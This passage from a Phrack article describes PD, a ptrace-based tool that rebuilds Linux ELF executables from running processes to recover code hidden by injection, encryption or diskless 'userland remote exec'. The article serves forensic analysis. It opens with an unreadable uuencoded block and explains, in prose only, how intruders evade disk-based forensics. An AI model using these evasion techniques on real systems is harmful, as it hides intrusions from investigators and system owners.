_:7H^:Q4R!(95U?>Q'BY[;=@I;9CO?TMN1]+C#(4U2G6]]?6.ZJ#J6NJZ+2M
```

```
M_`F0H8,KG.,%%^CG><4K3N4*GWCE9@[QRA7><")4]6;^<'0C-]I"34J\4UV1
M-K65E%+$:YI:"/XS/>AEW1+(*SO->=S+@$B5*\%4KW'2E\&5NDOA7NW1KU1N
MYLNO<,6;N.\KT"WUK*$"#U_OK:]<%78($,A-7S$QAD4G/2U%X&#CG:]4;*<\
M?#.^^$IE&_\GSSLTTTYW!EV#(D(H\I)%%"A:BW]^:R78[/]RK^IBJ]?O=IK'
M7[*/J_?_=K<-RI[9_S=Z:/\];-_9?]_D@8T3]_[_PB-:=%#Z,W="]U%T:FWM
MS.>O/Y;5S*4;H5]SX'R'VS76&FZ@6ZP[>?5`#JQQ>W=039%G[:HGK46N*8EI
M>TM,K:KPJ@O[YDUAP=I$[PL"HC!5B<:L.`Y>^0?50;%@=_`(,KMAZ^#,O?W^
MP?[3O8.3=SO4X2N@V5"?/M%O%"2<57<<XL'\WG3<[?1?N-,Q5O;ZV,]._GA3
M!^9R1D9,EE#24KSIN<:[UL4ST^CG,!IQHS,O0M?JSO+NI$;:XR[N=]28;F06
MD-VS[G*>^5&RP'1*<M?)`#D<$]8`9(ZW)@I`CLHRAQ`^$N!>`BDNA71<=N^C
M%%)*E?'4G<1E.*&+/8P:YE<&J&+99'BGJ`CD02!?"1ZDFOH8M(&Y*DL@S/5U
MDYT<#D6Z\.U9@E@*")CO9@1F0$,Z>RF!%)>B5$K@JU&*2U&Z`M`5*/'-F9VK
M(,E5-GVC:>1=.'\*I+U3U+T=E$7KZQ4K]ON0F"/6]@)?':9U#?I**_OZY)<C
M,"`J[5[V]:O=)R]``<62K6S)/_9>'^\?'D!))P>*+B?C^XWL^Z,7A\^>X?L<
MI&-YW^UDWS][N?O\&-_G<-I[P=9.9:.5[T!NTF-9)U]V\.85OM_(=VZUZ>7+
MI$T!85#$#YZ^K:#%A5*^HCGQ6/(6\`242MSL.ITO$98:4%90:CDQ[_.ZS[?3
MK4I%@Y9Y\_X966O+NEPJ[U(`\RL!S$\OZ;YA$4(Z:OJ)@#^6X:\%"_]82;'U
S)L5&Q=:ZW#78N>EHM$0+RL/TV:4JV]ILS3GGUF81YF%F;L=(8M3&=8ZLI9A
M*_N6\RD@)V;?4YH$>+V5?7TDK]N=['M.BY%=Y6DBA>Q*/K)78"?7+R4IX)5<
M,K(3X-FT/E^ZJ&"O]DN*,,>17J!*Y5CPT_6(`L$?X_K!G",O]P_>O#7U,)<*
M`NUN5$`9M`QW]5%IT_V75X=OCLEA@F>58QO83\=/"Z`VVNV.!O9L_^W>4PL4
M0*EH,"FNS\7O@L-HD^.E.9F&`\[$&B5].K_2KR2FFO^`A;6^;@6WRTTWOD,-
M6@<'D.<OK?*9+[;$$K87Z0B7$P$V0>'CWQZBGP0XEQ2,'.5,IYL$F0#8<>IT
M[;8L1%55,<.$4YF'\VD%LTTXU/:`,MY[)GPZAW'YC40`=0&@,(U%)=T.3`Z+
MT46%_2O<D;RI<(>BM7`84@Z\4Y+(K/*I&<P8/3MO686`?5;&LLKM4Y55,+M1
M)9N@K/+>JY0D);L6O>NSD140+*8A2Q&RDH\5,)*$8Y4;9AI3,N'Y%#B5][-Y
MI9CWAJ?B=9H8WDX%EN:BD&Q>JBK4JU$:$$[7N*#<>9'^*;,".9EU:!5M2Q8<
M!,>AY<+F=5XO(5TXS>9GJ90DK\DEOZF4)W?2A+!3A%4P=5,EF[4KGZ.IPC7Y
M\[UV%AM*U42XRWRA95JQ,C1)KUN<:8;&?DRGI-OJ#64FT+\L0H2>2QYY+S#I
MU5)NT7P"($R8O$1X:UM<_PP8KS+$LCS73R4E99%.F$TM3R<>K"10*TN>INFC
M<Z9QBS136AFEZ36+(YT5K:))GGZ^U]'=YS.?+2.VSG)6F/'AA:RR-*-9Y?TD
M76%V&C/>/.AG:UY9T\13E+VTG9D=0;I5\JG1-A\I3QE_495[#Z^>$)L-;;+F
M&=CP;Z6$<7L9*EY+0YU(C%<K+.AM6+/ZV@OF$,OD#S.>$$I!2K%IYK?<<%NU
MQU?,'&85%M-:938L_(Z9IRJ2=@J1V[6WWKHR";G2>_^2CLNZ$$T-^?=5T&NE
MH^+L%(VWDIL$[V51MNOHNJJ6ZC6G+,/7[0BP3`Q>M:Z1RGG"T7Q>(@W>E_\8
MI%.:4\OJHY!)R]([]"OFS*IC0JI)FS=+?=:XL_5UGR-+?=5XL4R[9L&@J)`56
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
```

```
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
K6G+YF7YG[2/H9BVZ2YKT_^_#YW_#_S@W^#WWWK=UD/Y_:]V9[-S]_MOW^*A
^7\%1C\ZV;]2']?D_VAOMNG^;Z^SN;'9ZW8P_T<;Y_\N_N/K/T^>*/,\5I/A
T-D_>/+RS=.]8W[3V,?@(.?PZ.0XK=8X[#A/]WYZ\SQ],W&>6.<8C]6]*C:I
P5\-K^8X+T$3E-]B@2JYO$ZFM+>1*\5X),<Y]:;S;:>"X/^7-SP-U<J)&TV\
9'LE\S+[3:TISO3%O5Q1V-LH%`[B46F[%<>Q@6YKESE>UN2*]ZI/GN#8F28U
U7AJ5"R%]+Q734E14YGK]ZH1XL]RZQ<,;TA1-9D?Z752[&Z,`&SSM^R^LKQ_
FW2?10*,S_DT$CC<ZW9YC_:O6FJ0_-U!-)>T:N`E'7^HTIQ(NBV-S1E./3>0
MM%,-<94MG;WZ[5WS]US]]P]=\_=<_?</7?/W7/WW#UWS]US]]P]=\_=<_?<
7/7?/W7/WW#UWS[_#\W\!\B#2U`#P````
`
end
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x0c of 0x14

```
|=---------------=[ Advances in remote-exec AntiForensics ]=--------------=|
|=-----------------------------------------------------------------------=|
|=-------------------------=[ by ilo-- ]=--------------------------------=|
|=-----------------------------------------------------------------------=|
```


--[1.0 - Abstract

PD is a proof of concept tool being released to help rebuilding or recovering a binary file from a running process, even if the file never existed in the disk. Computer Forensics, reverse engineering, intruders, administrators, software protection, all share the same piece of the puzzle in a computer. Even if the intentions are quite different, get or hide the real (clean) code, everything revolves around it: binary code files (executable) and running process.

Manipulation of a running application using code injection, hiding using ciphers or binary packers are some of the current ways to hide the code being executed from inspectors, as executed code is different than stored in disk. The last days a new anti forensics method published in phrack 62 (Volume 0x0b, Issue 0x3e, phile 0x08 by grugq) showed an "user landexec module". ulexec allows the execution of a binary sent by the network from another host without writing the file to disk, hiding any clue to forensics analysts. The main intention of this article is to show a process to success in the recovering or rebuilding a binary file from a running process, and PD is a sample implementation for that process. Tests includes injected code, burneyed file and the most exotic of all, rebuilding a file executed using grugq's "userland remote exec" that was never saved in disk.

--[2.0 - Introduction

An executable contains the data the system needs to run the application contained in the file. Some of the data stored in the file is just information the system should consider before launching, and requirements needed by the application binary code. Running an executable is a kernel process that grabs that information from the file, sets up the needings for that program and launches it.

However, although a binary file contains the data needed to launch a process and the program itself, there's no reason to trust that program has not been modified during execution. One common task to avoid host IDS detecting binary manipulation is to modify a running process instead of binary stored files. A process may be running some kind of troyan injected code until system restart, when original program will be executed again.

In selfmodifing, ciphered or compressed applications, program code in disk may differ from program code in memory due to 'by design' functionality of the file. It's a common task to avoid reverse engineering and scope goes from virus to commercial software. Once the program is ran, it deciphers itself remaining clean in memory content of the process until the end of execution. However, any attempt to see the program contained in the file will require a great effort due to complexity of the implemented cipher or obfuscation mechanism.

In other hand, there's no reason to keep the binary file once the process is started (for example a troyan installer). Many forensics methods rely their investigation in disk MAC (modify, create, access) timeline analysis after powering down the system, and that's the main reason when grugq talked about user land remote exec: there's no need to write data in disk if you can forge the system to run a memory portion emulating a kernel loader. This kind of data contraception may drop any attempt to create an activity timeline due to the missing information: the files an intruder may install in the system. Without traces, any further investigation would not reveal attacker information. That's the description of the "remote exec attack", defeated later in this paper.

All those scenarios presented are real, and in all of them memory system of the suspicious process should be analyzed, however there's no mechanism allowing this operation. There are several tools to dump the memory content, but, in a "human unreadable - system unreadable" raw format. Analysis tools may need an executable formatted file, and also human analyst may need a binary file being launched in a testing environment (aka laboratory). Raw code, or dumped memory code is useful if execution environment is known, but sometimes untraceable. Here is where pd (as concept) may help in the analysis process, rebuilding a working executable file from the process, allowing researchers to launch when and where they need, and capable of being analyzed at any time in any system.

Rebuilding a binary file from a memory process allow us to recover a file modified in run time or deciphered, and also recover if it's being executed but never was saved in the system (as the remote executed using ulexec), preventing from data contraception and information missing in further analysis.

This paper will describe the process of rebuilding an executable from a process in memory, showing each involved data in every step. One of the main goals of the article is to realize where the recovering process is vulnerable to manipulation. Knowing our limits is our best effort to develop a better process.

There are several posts in internet related to code injection and obfuscation. For userland remote execution trick refer to phrack 62 (Volume 0x0b, Issue 0x3e, phile 0x08 by grugq)

--[3.0 - Principles

Until this year the most hiding method used for code (malicious or not) hiding was the packing/cyphering one. During execution time, the original code/file should be rebuilt in disk, in memory, or where the unpacker/uncypher should need. The disk file still remains ciphered hiding it's content.

To avoid disk data written and Host IDS detection, several ways are being used until now. Injecting binary code right in a running process is one of them. In a forensics analysis some checks to the original file signature (or MD5, or whatever) my fail, warning about binary content manipulation. If this code only resides in memory, the disk scan will never show its presence.

"Userland Remote Exec" is a new kind of attack, as a way to execute files downloaded from a remote host without write them to disk. The main idea goes through an implementation of a kernel loader, and a remote file transfer core. When "ul_remote_exec" program receives a binary file it sets up as much information and estructures as needed to fork or replace the existing code with the downloaded one, and give control to this new process. It safes new program memory pages, setting up execution environment, and loading code and data into the correct sections, the same way the system kernel does. The main difference is that system loads a file from disk, and UserLand Remote Exec (down)"loads" a file from the network, ensuring no data is written in the disk.

With all these methods we have a running process with different binary data than saved in the disk (if existing there). Different scenarios that could be resolved with one technique: an interface allowing us to dump a process and rebuild a binary file that when executed will recreate this same process.

--[4.0 - Background

Under Windows architecture there're a lot of useful tools providing this functionality in user space. "procdump" is the name of a generic process dumper for this operating system, although there're many more tools including application specific un-packers and dumpers.

Under linux (*nix for x86 systems, the scope of this paper) several studies attempt to help analyzing the memory (ie: Zalewski's memfetch) of a process. Kernel/system memory may give other useful information about any of the process being executed (Wietse's memfetch). Also, gdb now includes dumping feature, allowing the dump of memory blocks to disk.

There's an interesting tool comparing a process and a binary file (www.hick.org's elfcmp). Although I discovered later in the study, it didn't work for me. Anyway, it's an interesting topic in this article. Recover a binary from a core dump is an easy task due to the implementation of the core functionality. Silvio Cesare stated that in a complete paper (see references).

There's also a kernel module for recover a burneyed binary from memory once it's deciphered, but in any case it cares about binary analysis. It just dumps a memory region where burneye engine writes dechypered data before executing.

All these approximations will not finish the process of recovering a binary file, but they will give valuable information and ideas about how the process should/would/could be.

The program included here is an example of defeating all these anti-forensics methods, attaching to a pid, analyzing it's memory and rebuilding a binary image allowing us to recover the process data and code, and also re-execute it in a testing environment. It summarizes all the above functionality in an attempt to create a rebuilding working interface.

--[5.0 - Requirements

In an initial approach I fall into a lot of presumptions due to the technology involved in the testing environment. Linux and x86 32bits intel architecture was the selected platform with kernel 2.4*. There was a lot of analysis performed in that platform assuming some of the kernel constants and specifications removed or modified later. Also, GCC was the selected compiler for the binaries tested, so instead of a generic ELF format, the gcc elf implementation has been the referral most of the time.

After some investigation it was realized that all these presumptions should be removed from the code for compatibility in other test systems. Also, GCC was left apart in some cases, analyzing files programmed in asm.

The /proc filesystem was first removed from analysis, returning bak after some further investigation. /proc filesystem is a useful resource for information gathering about a process from user space (indeed, it's the user space kernel interface for process information queries).

The concept of process dumping (sample code also) is very system dependant, as kernel and customs loaders may leave memory in different states, so there's no a generic program ready-to-use that could rebuild any kind of executable with total guaranties of use. A program may evolve in run time loading some code from a inspected source, or delete the used code while being executed.

Also, it's very important to realize that even if a binary format is standardized, every file is built under compiler implementation, so the information included in it may help or difficult the restoring process.

In this paper there are several user interfaces to access the memory of a process, but the cheapest one has been selected: ptrace. From now on, ptrace should be a requirement in the implementation of PD, as no other method to read process memory space has been included in the POC.

In order to reproduce the tests, a linux kernel 2.4 without any security patch (like grsecurity, pax, or other ptrace and stack protection) is recommended, as well as gcc compiled binaries. Ptrace should be enabled and /proc filesystem would be useful. grugq remote exec and burneyed had been successfully compiled in this environment, so all the toolset for the test will be working.

Files dynamically linked to system libraries become system dependant if the dynamic information is not restored to it's original state. PD is programmed to restore the dynamic subsystem (plt) of any gcc compiled binary, so gcc+ldd dynamic linked files would be restored to work in other host correctly.

--[6.0 - Design and Implementation

Some common tasks had been identified to success in the dump of a process in a generic way. The design should heavily rely in system dependant interfaces for each one, so an exhaustive analysis should be performed in them:

1- Get information of a process
2- Get binary data of that process from memory
3- Order/clean and safe binary data in a file
4- Build an ELF header for the file to be correctly loaded
5- Adjust binary information

Also, there's a previous step to resolve before doing any of the previous tasks, it's, to get communication with that process. We need an interface to read all this information from the system memory space and process it. In this platform there are some of them available as shown below:

- (per process) own process memory
- /proc file system
- raw access to /dev/kmem /dev/mem
- ptrace (from user space)

Raw memory access turns hard the process of information locating, as run time information may be paged or swapped, and some memory may be shared between processes, so for the POC it's has been removed as an option.

Per Process method, even if it may appear to be too exotic, should be considered as an option. The use of this method consists in exploitation of the execution of the process selected for dump, as for buffer overflow, library modifications before loading and any other sophisticated way to execute our code into process context. Anyway for the scope of the analysis it's been deprecated also.

/proc and PTRACE are the available options for the POC. Each one has it's own limits based in implementation of the system. As a POC, PD will use /proc when available, and ptrace if there's no more options. Consider the use of the other methods when ptrace is not available in the system.

By default ptrace will not attach any process if it's already being attached by another. Each process may be only attached by one parent. This limit is assumed as a requirement for PD to work.

----[6.1- Get information of a process

To know all the information needed to rebuild an executable it's important to know the way a process is being executed by the system.

As a short description, the system will create an entry in the process list, copy all data needed for the process and for the system to success executing the binary and launches it. Not all the data in the file is needed during execution, some parts are only used by the loader to correct map the memory and perform environment setup.

Getting information about a process involves all data finding that could be useful when rebuilding the executable file, or finding memory location of the process, it's:

- Dynamic linker auxiliary vector array
- ELF signatures in memory
- Program Headers in memory
- task_struct and related information about the process (memory usage, memory permissions, ...)
- In raw access and pre process: permission checks of memory maps (rwx)
- Execution subsystems (as runtime linking, ABI register, pre-execution conditions, ..)

Apart from the loading information (not removed from memory by default), A process has three main memory sections: code, where binary resides; data, where internal program data is being written and read; and stack, as a temporal memory pool for process execution internal memory requests. Code and Data segments are read from the file in the loading part by the kernel, and stack is built by the loader to ensure correct execution.

----[6.2- Get binary data of that process from memory

Once we have located that information, we need to get it from the memory.

For this task we will use the interface selected earlier: /proc or ptrace. The main information we should not forget is:

- Code and Data portions (maps) of the memory process.
- If exists (has not been deleted) the elf and/or program headers.
- Dynamic linking system (if it's being) used by the program.
- Also, "state" of the process: stack and registers*

Stack and registers (state) are useful when you plan to launch the same process in another moment, or in another computer but recovering the execution point: Froze the program and re-run in other computer could be a real scenario for this example. One of the funniest results found using pd to froze processes was the possibility to save a game and restore the saved "state" as a way to add the "save game" feature to the XSoldier game.

Something interesting is also another information the process is currently handling: file descriptors, signals, and so. With the signals, file descriptors, memory, stack and registers we could "froze" a running application and restore it's execution in other host, or in other moment. Due to the design of the process creation, it's possible to recreate in great part the state of the process even if it's interacting with regular files. In a more technical detail, the re-create process will inherit all the attributes of the parent, including file descriptors. It's our task if we would like to restore a "frozen state" dumped process to read the position of the descriptors and restore them for the "frozen process".

Please notice that any other interaction using sockets or pipes for example, require an state analysis of the communicated messages so their value, or streamed content may be lost. If you dump a program in the middle of a TCP connection, TCP session will not be established again, neither the sent data and acknowledge messages received from the remote system, so it's not possible to re-run a process from a "frozen state" in all cases.

----[6.3- Order/Clean and safe binary data in a file

Order/Clean and safe task is the simplest one. Get all the available information and remove the useless, sort the useful, and save in a secure storage. It has been separated from the whole process due to limitations in the recovering conditions. If the reconstructed binary could be stored in the filesystem then simply keep the information saved in a file, but, it's interesting in some cases to send the gathered information to another host for processing, not writing to disk, and not modifying the filesystem for other type of analysis. This will avoid data contraception in a compromised system if that's the purpose of pd execution.

----[6.4- Build an ELF header for that file to be loaded

If finally we don't find it in memory, the best way is to rebuild it. Using the ELF documentation would be easy enough to setup a basic header with the information gathered. It's also necessary to create a program headers table if we could not find it in memory.

Even if the ELF header is found in memory, a manipulation of the structure is needed as we could miss a lot of information not kept in memory, or not necessary for the rebuild process: For example, all the information about file sections, debug information or any kind of informational data.

----[6.5- Adjust binary information

At this point, all the information has been gathered, and the basic skeleton of the executable should be ready to use. But before finishing the reconstruction process some final steps could be performed.

As some binary data is copied from memory and glued into a binary, some offset and header information (as number of memory maps and ELF related information) need to be adjusted.

Also, if it's using some system feature (let's say, runtime linking) some of the gathered information may be referred to this host linking system, and need to be rebuilt in order to work in another environments.

As the result of reconstruction we have two great caveats to resolve:

- Elf header
- Dynamic linking system

The elf header is only used in the load time, so we need to setup a compatible header to load correctly all the information we have got.

The dynamic system relies in host library scheme, so we need to regenerate a new layout or restore the previous one to a generic usable dynamic system, it's: GOT recovering. PD resolves this issue in an elegant and easy way explained later.

----[6.6 - Resume of process in steps

Now let's resume with more granularity the steps performed until now, and what could be do with all the gathered information. As a generic approach let's resume a "process saving" procedure:

- Froze the process (avoid any malicious reaction of the program..).
- Stop current execution and attach to it (or inject code.. or..).
- Save "state": registers, stack and all information from the system.
- Recover file descriptors state and all system data used by the process.
- Copy process "base": files needed (opened file descriptors, libraries, ...).
- Copy data from memory: copy code segments, data segments, stack, libraries..

With all this information we can now do two things:

- Rebuild the single executable: reconstruct a binary file that could be launched in any host (with the same architecture, of course), or executable only in the same host, but allowing complete execution from the start of the code.

- Prepare a package allowing to re-execute the process in another host, or in any other moment, that's, a "frozen" application that will resume it's state once launched. This will allow us to save a suspicious process and relaunch in other host preserving it's state.

If it's our intention to recover the state in other moment, even if its recovery is not totally guaranteed (internal system workflow may avoid its correct execution) the loading process will be:

- Set all files used by the application in the correct location
- Open the files used by the program and move handlers to the same position (file handlers will be inherited by child process)
- Create a new process.
- Set "base" (code and data) in the correct segments of memory.
- set stack and registers.
- launch execution.

But for the purpose of this paper, the final stage is to rebuild a binary file, a single executable presumed to be reconstructed from the image of the process being executed in the memory. These are the final steps we could see later, labeled as pd implementation:

- Create an ELF header in a file: if it could not be found.
- Attach "base" to the file (code and data memory copies)
- Readjust GOT (dynamic linking).

----[6.7 - pd (process dumper) Proof of concept.

At the time of writing this paper, a simple process dumper is included for testing purposes. Although it contains basic working code, it's recommended to download the latest version of the program from the http://www.reversing.org web site. The version included here is a very basic stripped version developed two years ago. This PD is just a POC for testing the process described in this article supporting dynamically linked binaries. This is the description of the different tasks it will perform:

- Ptrace attach to a pid: to access memory (mainly read memory) process.

- Information gathering: Everytime a program is executed, the system will create an special struct in the memory for the dynamic linker to success bind functions of that process. That struct, the "Auxiliar Vector" holds some elf related information of the original file, as an offset to the program headers location in memory, number of program headers and so (there is some doc about this special struct in the included source package).

With the program headers information recovered, a loop for memory maps being saved to a file is started. Program header holds the loaded program segments. We'll care in the LOAD flag of the mapped memory segment in order to save it. Memory segments not marked as LOAD are not loaded from that file for execution. This version of PD does not use /proc filesystem at any time.

If the program can't find the information, some of the arguments from command line may help to finish the process. For example, with "-p addr" it's possible to force the address of the program headers in memory. This value for gcc+ldd built binaries is 0x8048034. This argument may be used when the program outputs the message "search failed" when trying to locate PAGESZ. If PAGESZ is not in the stack it indicates that the "auxiliar vector array" could not be located, so program headers offset would neither be found (often when the file is not launched from the shell or is loaded by other program instead of the kernel).

- File dumping: If the information is located the data is dumped to a file, including the elf header if it's found in memory (rarely it's deleted by any application). This version of pd will NOT create any header for the file (it's done in the lastest version).

This dump should work for the local host, as dynamic information is not being rebuilt. There's a simple method to recover this information with files built with gcc+ldd as shown below.

- GOT rebuilding

The runtime linker should had modified some of the GOT entries if the functions had been called during execution. The way pd rebuilds the GOT is based in GCC compiling method. Any binary file is very compiler dependant (not only system), and a fast analysis about how GCC+LDD build the GOT of the compiled binary, shows the way to reconstruct it called "Aggressive GOT reconstruction". Another compilers/linkers may need more in depth study. A txt is included in the source about Aggressive GOT reconstruction.

The option -l tagged as "local execution only" in the command line will avoid GOT reconstruction.

In this version of PD, PLT/GOT reconstruction is only functional with GCC compiled binaries. To make that reconstruction, the .plt section should be located (done by the program usually). If the location is not found by the PD, the argument -g addr in the command line may help. Even if it has been tested against several files, this so simple implementation may fail with files using hard dynamic linking in the system.

Once again I remember this is a test code. For better results please download latest version of PD.

-- Aggressive reconstruction of GOT --

